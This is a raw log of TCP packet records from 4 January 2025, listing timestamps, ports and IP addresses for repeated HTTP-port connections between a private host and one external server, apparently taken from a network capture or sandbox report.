Jan 4, 2025 13:39:15.284274101 CET	50924	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:15.284337997 CET	50925	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:15.284456968 CET	50925	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:15.289263964 CET	80	50925	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:15.643053055 CET	50925	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:15.647953987 CET	80	50925	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:15.647968054 CET	80	50925	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:15.647979975 CET	80	50925	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:15.985912085 CET	80	50925	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:16.117006063 CET	80	50925	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:16.117065907 CET	50925	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:16.232023001 CET	50926	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:16.236824989 CET	80	50926	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:16.236890078 CET	50926	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:16.236987114 CET	50926	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:16.241751909 CET	80	50926	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:16.593672991 CET	50926	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:16.598649979 CET	80	50926	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:16.598663092 CET	80	50926	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:16.598670959 CET	80	50926	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:16.914915085 CET	80	50926	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:17.042615891 CET	80	50926	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:17.042687893 CET	50926	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:17.166507959 CET	50926	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:17.166512012 CET	50927	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:17.171375036 CET	80	50927	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:17.171550989 CET	50927	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:17.171689987 CET	50927	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:17.176407099 CET	80	50927	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:17.177850962 CET	80	50926	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:17.177910089 CET	50926	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:17.519048929 CET	50927	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:17.523977041 CET	80	50927	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:17.523988008 CET	80	50927	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:17.524000883 CET	80	50927	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:17.864758968 CET	80	50927	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:17.906119108 CET	50927	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:17.994560003 CET	80	50927	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:18.046731949 CET	50927	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:18.125679970 CET	50925	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:18.126523972 CET	50927	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:18.127087116 CET	50928	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:18.131486893 CET	80	50927	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:18.131525993 CET	50927	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:18.131865978 CET	80	50928	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:18.131928921 CET	50928	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:18.132030964 CET	50928	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:18.136806965 CET	80	50928	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:18.484461069 CET	50928	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:18.489363909 CET	80	50928	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:18.489375114 CET	80	50928	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:18.489383936 CET	80	50928	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:18.830257893 CET	80	50928	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:18.874856949 CET	50928	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:18.962508917 CET	80	50928	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.015526056 CET	50928	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.087763071 CET	50928	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.088090897 CET	50929	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.092752934 CET	80	50928	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.092914104 CET	50928	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.092941999 CET	80	50929	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.095105886 CET	50929	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.095351934 CET	50929	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.100101948 CET	80	50929	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.331047058 CET	50929	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.331068039 CET	50930	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.335974932 CET	80	50930	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.336144924 CET	50930	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.336144924 CET	50930	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.340919018 CET	80	50930	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.379827976 CET	80	50929	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.451039076 CET	50931	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.455910921 CET	80	50931	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.459574938 CET	50931	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.459574938 CET	50931	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.464404106 CET	80	50931	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.687551022 CET	50930	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.692522049 CET	80	50930	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.692532063 CET	80	50930	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.693229914 CET	80	50929	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.693483114 CET	50929	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.812488079 CET	50931	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:19.817389011 CET	80	50931	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.817399979 CET	80	50931	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:19.817409992 CET	80	50931	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.054440022 CET	80	50930	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.186604977 CET	80	50930	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.186650991 CET	50930	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.210902929 CET	80	50931	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.265487909 CET	50931	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.345086098 CET	80	50931	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.390494108 CET	50931	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.465315104 CET	50930	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.465413094 CET	50931	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.465576887 CET	50932	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.470411062 CET	80	50930	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.470424891 CET	80	50932	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.470484972 CET	50930	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.470526934 CET	50932	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.470622063 CET	80	50931	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.470655918 CET	50932	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.470678091 CET	50931	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.475409031 CET	80	50932	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.828072071 CET	50932	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:20.833004951 CET	80	50932	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.833018064 CET	80	50932	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:20.833029032 CET	80	50932	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:21.148456097 CET	80	50932	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:21.218656063 CET	50932	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:21.278569937 CET	80	50932	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:21.278790951 CET	50932	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:21.283795118 CET	80	50932	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:21.283873081 CET	50932	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:21.407043934 CET	50933	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:21.411921978 CET	80	50933	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:21.412003994 CET	50933	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:21.412153006 CET	50933	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:21.416892052 CET	80	50933	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:21.765582085 CET	50933	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:21.770524979 CET	80	50933	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:21.770539045 CET	80	50933	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:21.770548105 CET	80	50933	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:22.093336105 CET	80	50933	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:22.140486956 CET	50933	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:22.222538948 CET	80	50933	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:22.265471935 CET	50933	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:22.340928078 CET	50933	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:22.341248035 CET	50934	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:22.346046925 CET	80	50934	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:22.346086025 CET	80	50933	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:22.346131086 CET	50934	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:22.346153021 CET	50933	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:22.346247911 CET	50934	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:22.350970030 CET	80	50934	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:22.703074932 CET	50934	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:22.708148956 CET	80	50934	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:22.708170891 CET	80	50934	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:22.708190918 CET	80	50934	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:23.049176931 CET	80	50934	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:23.093638897 CET	50934	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:23.187450886 CET	80	50934	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:23.234272003 CET	50934	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:23.308753014 CET	50934	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:23.309287071 CET	50935	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:23.313977957 CET	80	50934	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:23.314099073 CET	80	50935	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:23.314104080 CET	50934	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:23.314222097 CET	50935	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:23.314475060 CET	50935	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:23.319273949 CET	80	50935	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:23.675061941 CET	50935	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:23.680052042 CET	80	50935	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:23.680063963 CET	80	50935	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:23.680073023 CET	80	50935	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:24.012411118 CET	80	50935	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:24.099987984 CET	50935	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:24.146370888 CET	80	50935	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:24.218616962 CET	50935	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:24.265311956 CET	50935	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:24.265690088 CET	50936	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:24.270303965 CET	80	50935	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:24.270344019 CET	50935	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:24.270473003 CET	80	50936	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:24.270534992 CET	50936	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:24.270657063 CET	50936	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:24.275413036 CET	80	50936	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:24.624969959 CET	50936	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:24.629838943 CET	80	50936	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:24.629857063 CET	80	50936	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:24.629865885 CET	80	50936	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.005407095 CET	80	50936	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.051053047 CET	50936	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.136145115 CET	80	50936	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.188426018 CET	50936	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.188433886 CET	50937	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.188678980 CET	50936	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.193257093 CET	80	50937	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.193396091 CET	50937	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.193650961 CET	80	50936	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.193679094 CET	50937	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.193734884 CET	50936	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.198414087 CET	80	50937	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.262046099 CET	50938	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.262049913 CET	50937	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.266926050 CET	80	50938	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.267030001 CET	50938	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.267149925 CET	50938	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.271923065 CET	80	50938	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.311769962 CET	80	50937	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.625087976 CET	50938	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.629935026 CET	80	50938	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.629976034 CET	80	50938	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.629983902 CET	80	50938	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.671648979 CET	80	50937	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:25.671816111 CET	50937	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:25.955154896 CET	80	50938	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:26.074650049 CET	50938	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:26.084357977 CET	80	50938	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:26.200167894 CET	50938	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:26.200421095 CET	50939	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:26.205279112 CET	80	50938	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:26.205291986 CET	80	50939	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:26.205329895 CET	50938	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:26.205358982 CET	50939	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:26.205466986 CET	50939	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:26.210215092 CET	80	50939	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:26.562536955 CET	50939	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:26.567435026 CET	80	50939	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:26.567447901 CET	80	50939	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:26.567456007 CET	80	50939	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:26.881103992 CET	80	50939	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:26.938077927 CET	50939	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:27.010407925 CET	80	50939	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:27.010894060 CET	50939	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:27.015873909 CET	80	50939	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:27.015950918 CET	50939	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:27.135795116 CET	50940	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:27.140701056 CET	80	50940	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:27.140789032 CET	50940	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:27.140897036 CET	50940	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:27.145726919 CET	80	50940	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:27.519639969 CET	50940	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:27.524610043 CET	80	50940	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:27.524622917 CET	80	50940	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:27.524632931 CET	80	50940	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:27.819895029 CET	80	50940	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:27.950402975 CET	80	50940	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:27.950455904 CET	50940	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:28.076349974 CET	50940	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:28.076805115 CET	50941	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:28.081305981 CET	80	50940	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:28.081351995 CET	50940	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:28.081582069 CET	80	50941	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:28.081643105 CET	50941	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:28.081847906 CET	50941	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:28.086628914 CET	80	50941	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:28.437520027 CET	50941	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:28.442409039 CET	80	50941	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:28.442420959 CET	80	50941	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:28.442430973 CET	80	50941	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:28.784004927 CET	80	50941	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:28.875049114 CET	50941	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:28.916300058 CET	80	50941	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:29.043370008 CET	50941	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:29.047086954 CET	50942	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:29.048409939 CET	80	50941	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:29.048543930 CET	50941	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:29.051923990 CET	80	50942	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:29.052194118 CET	50942	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:29.052194118 CET	50942	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:29.057033062 CET	80	50942	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:29.406234026 CET	50942	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:29.411185980 CET	80	50942	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:29.411197901 CET	80	50942	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:29.411206961 CET	80	50942	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:29.771498919 CET	80	50942	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:29.874872923 CET	50942	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:29.904109001 CET	80	50942	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.032489061 CET	50942	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.032932997 CET	50943	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.037688971 CET	80	50942	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.037739992 CET	50942	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.037765026 CET	80	50943	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.037820101 CET	50943	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.038029909 CET	50943	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.042867899 CET	80	50943	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.267023087 CET	50944	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.267281055 CET	50943	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.365011930 CET	80	50944	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.365087986 CET	50944	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.375731945 CET	50944	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.380525112 CET	80	50944	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.407809019 CET	80	50943	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.548052073 CET	80	50943	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.548103094 CET	50943	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.649913073 CET	50945	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.654803991 CET	80	50945	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.654891968 CET	50945	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.655005932 CET	50945	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.659758091 CET	80	50945	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.739052057 CET	50944	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:30.743904114 CET	80	50944	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:30.743979931 CET	80	50944	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.000457048 CET	50945	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.005634069 CET	80	50945	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.005650997 CET	80	50945	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.005661011 CET	80	50945	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.082794905 CET	80	50944	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.175088882 CET	50944	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.221988916 CET	80	50944	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.374926090 CET	50944	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.400990963 CET	80	50945	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.534677982 CET	80	50945	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.534785986 CET	50945	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.660100937 CET	50944	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.660365105 CET	50945	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.660562038 CET	50946	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.665152073 CET	80	50944	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.665263891 CET	50944	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.665338993 CET	80	50946	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.665501118 CET	50946	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.665505886 CET	80	50945	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:31.665530920 CET	50946	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.665739059 CET	50945	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:31.670311928 CET	80	50946	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:32.015609980 CET	50946	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:32.020785093 CET	80	50946	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:32.020798922 CET	80	50946	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:32.020812988 CET	80	50946	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:32.376996994 CET	80	50946	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:32.509681940 CET	80	50946	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:32.509798050 CET	50946	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:32.639410973 CET	50947	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:32.644252062 CET	80	50947	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:32.644349098 CET	50947	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:32.644469976 CET	50947	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:32.649296999 CET	80	50947	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:33.006082058 CET	50947	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:33.011409998 CET	80	50947	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:33.011423111 CET	80	50947	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:33.011477947 CET	80	50947	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:33.335401058 CET	80	50947	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:33.462536097 CET	80	50947	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:33.467087030 CET	50947	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:33.660464048 CET	50947	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:33.661031961 CET	50948	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:33.665550947 CET	80	50947	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:33.665637016 CET	50947	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:33.665930986 CET	80	50948	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:33.666024923 CET	50948	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:33.666280985 CET	50948	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:33.671061039 CET	80	50948	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.015610933 CET	50948	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:34.020605087 CET	80	50948	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.020617962 CET	80	50948	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.020627022 CET	80	50948	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.356509924 CET	80	50948	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.413379908 CET	50948	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:34.486572981 CET	80	50948	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.608082056 CET	50948	80	192.168.2.4	62.109.6.177
